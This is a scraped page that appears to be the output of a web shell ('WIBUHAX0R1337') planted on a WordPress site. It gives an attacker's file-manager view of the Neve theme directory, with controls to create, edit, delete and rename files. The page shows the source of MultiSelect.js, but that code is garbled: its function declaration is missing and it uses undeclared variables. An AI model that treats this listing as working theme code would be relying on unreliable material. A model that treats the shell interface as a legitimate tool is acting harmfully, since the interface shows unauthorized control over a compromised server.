WIBUHAX0R1337

- WIBUHAX0R1337 -

/home/coludnqa/www/wp-content/themes/neve/assets/apps/components/src/Controls/ [ Home ]

Create Folder Create File

import { chevronDown, closeSmall, chevronUp, plus } from '@wordpress/icons';
import { __ } from '@wordpress/i18n';
import {
	Icon,
	Dropdown,
	MenuGroup,
	MenuItem,
	Button,
} from '@wordpress/components';
import PropTypes from 'prop-types';

const addable = Object.keys(choices).filter(
		(choice) => !currentValue.includes(choice)
	);

const values = currentValue
		.filter((slug) => choices[slug])
		.map((slug, i) => <Pill key={i} slug={slug} isRemove={true} />);

const addItem = (slug) => onChange([...currentValue, slug]);

const getDropDownIcon = (isOpen) => {
		if (currentValue.length === 0) return plus;

return isOpen ? chevronUp : chevronDown;
	};

return (
		<div className="neve-white-background-control neve-multiselect">
			<span className="customize-control-title">{label}</span>

<div className="multiselect-wrap">
				<div className="selected-options">{values}</div>
				<Dropdown
					className="dd-toggle"
					focusOnMount={false}
					renderToggle={({ isOpen, onToggle }) => (
						<Button
							isSmall
							isDefault
							disabled={addable.length < 1}
							icon={getDropDownIcon(isOpen)}
							onClick={onToggle}
							aria-expanded={isOpen}
						/>
					)}
					renderContent={({ onClose }) => (
						<MenuGroup>
							{Object.entries(choices).map(([slug, niceName]) => {
								if (currentValue.includes(slug)) {
									return null;
								}
								return (
									<MenuItem
										key={slug}
										onClick={() => {
											addItem(slug);
											onClose();
										}}
									>
										{niceName}
									</MenuItem>
								);
							})}
						</MenuGroup>
					)}
				/>
			</div>
		</div>
	);
};

MultiSelect.propTypes = {
	choices: PropTypes.object.isRequired,
	onChange: PropTypes.func.isRequired,
	currentValue: PropTypes.array.isRequired,
	label: PropTypes.string,
};

export default MultiSelect;

Nama File / Folder	Size	Action
.htaccess	0.231KB	Edit File Delete File Rename
ButtonAppearance.js	5.158KB	Edit File Delete File Rename
InlineSelect.js	0.441KB	Edit File Delete File Rename
MultiSelect.js	2.271KB	Edit File Delete File Rename